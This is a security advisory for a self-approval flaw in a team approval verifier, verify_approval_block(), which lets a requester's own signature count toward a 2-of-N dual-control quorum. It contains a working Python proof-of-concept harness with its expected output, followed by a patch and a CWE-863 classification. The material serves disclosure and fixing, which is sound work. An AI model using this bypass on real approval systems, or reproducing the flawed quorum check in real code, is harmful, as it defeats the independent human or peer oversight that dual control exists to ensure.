Component: primitives/team_approval.py — verify_approval_block() (station v0.97).
The defect.
In primitives/team_approval.py:444-495, offline quorum verification iterates over approver signatures and checks that len(seen) >= quorum.
While request_approval() at line 114 contains a comment stating "Self never counts toward quorum", the verifier verify_approval_block() does not exclude the requester’s own public key from the seen set.
When an organization requires 2-of-N independent peer approval, an authorized requester who also holds the approver role can supply their own signature plus one colleague’s signature, bypassing the intended dual-control independent quorum policy.
Reproduction (standalone harness).
import secrets
try:
from primitives import team_manifest as tm
from primitives import team_approval as ta
import ed25519_pure as _ed
import railcall_signing as rcs
except ImportError: # Workbench layout
from workbench.primitives import team_manifest as tm
from workbench.primitives import team_approval as ta
from workbench import ed25519_pure as _ed
from workbench import railcall_signing as rcs
# 1. Mint team root key
root = tm.mint_root()
# 2. Member keypairs: Alice (requester+approver+owner) and Bob (approver)
alice_seed = secrets.token_bytes(32)
alice_pub = _ed.publickey(alice_seed).hex()
bob_seed = secrets.token_bytes(32)
bob_pub = _ed.publickey(bob_seed).hex()
manifest_doc = tm.mint_manifest(
root_seed_hex=root["seed_hex"],
name="Core Infrastructure Team",
version=1,
members=[
{"pubkey": alice_pub, "roles": ["owner", "approver", "operator"], "display_name": "Alice Requester"},
{"pubkey": bob_pub, "roles": ["approver"], "display_name": "Bob Peer"}
]
)
action_hash = "sha256:aaaaaaaa1111222233334444555566667777888899990000aaaabbbbccccdddd"
req_id = "req_envelope_001"
# 3. Create real Ed25519 signatures for Alice (self) and Bob (peer)
d_bytes = ta.decision_bytes(action_hash, req_id, "approve")
alice_sig = rcs._sign_raw(d_bytes, alice_seed, bytes.fromhex(alice_pub)).hex()
bob_sig = rcs._sign_raw(d_bytes, bob_seed, bytes.fromhex(bob_pub)).hex()
# 4. Approval block requiring 2-of-N dual-control quorum
block = {
"schema": 1,
"team_id": root["team_id"],
"action_hash": action_hash,
"request_envelope_id": req_id,
"requester_pubkey": alice_pub,
"quorum": 2,
"approvals": [
{"pubkey": alice_pub, "decision_sig": alice_sig}, # Requester self-approval
{"pubkey": bob_pub, "decision_sig": bob_sig} # Peer approval
]
}
# 5. Call REAL verify_approval_block
ok, reason = ta.verify_approval_block(action_hash, block, manifest_doc)
print("Configured Quorum Threshold:", block["quorum"])
print("Approvals Submitted in Block:", len(block["approvals"]))
print("Verifier returned OK:", ok)
print("Verifier Reason:", reason)
print("Self-Approval Satisfied Dual-Control Quorum:", ok is True)
Expected raw output on vulnerable code:
Configured Quorum Threshold: 2
Approvals Submitted in Block: 2
Verifier returned OK: True
Verifier Reason: ok
Self-Approval Satisfied Dual-Control Quorum: True
Scope (stated honestly).
- Affects multi-agent team approval and dual-control / multi-sig execution policies.
- Requires the initiator to also possess the approver role in the team manifest.
- Does not affect pure “requester-only” members who lack the approver role.
Fix.
Exclude the requester’s public key from the set of counted approvers:
--- a/primitives/team_approval.py
+++ b/primitives/team_approval.py
@@ -467,6 +467,9 @@
for a in block.get("approvals") or []:
pub = str(a.get("pubkey", "")).lower()
+ # Self-approval must never count toward quorum
+ if pub == str(block.get("requester_pubkey", "")).lower():
+ continue
if pub not in approvers:
return False, f"signer {pub[:16]}… is not an approver in this manifest"
Classification: CWE-863 (Incorrect Authorization)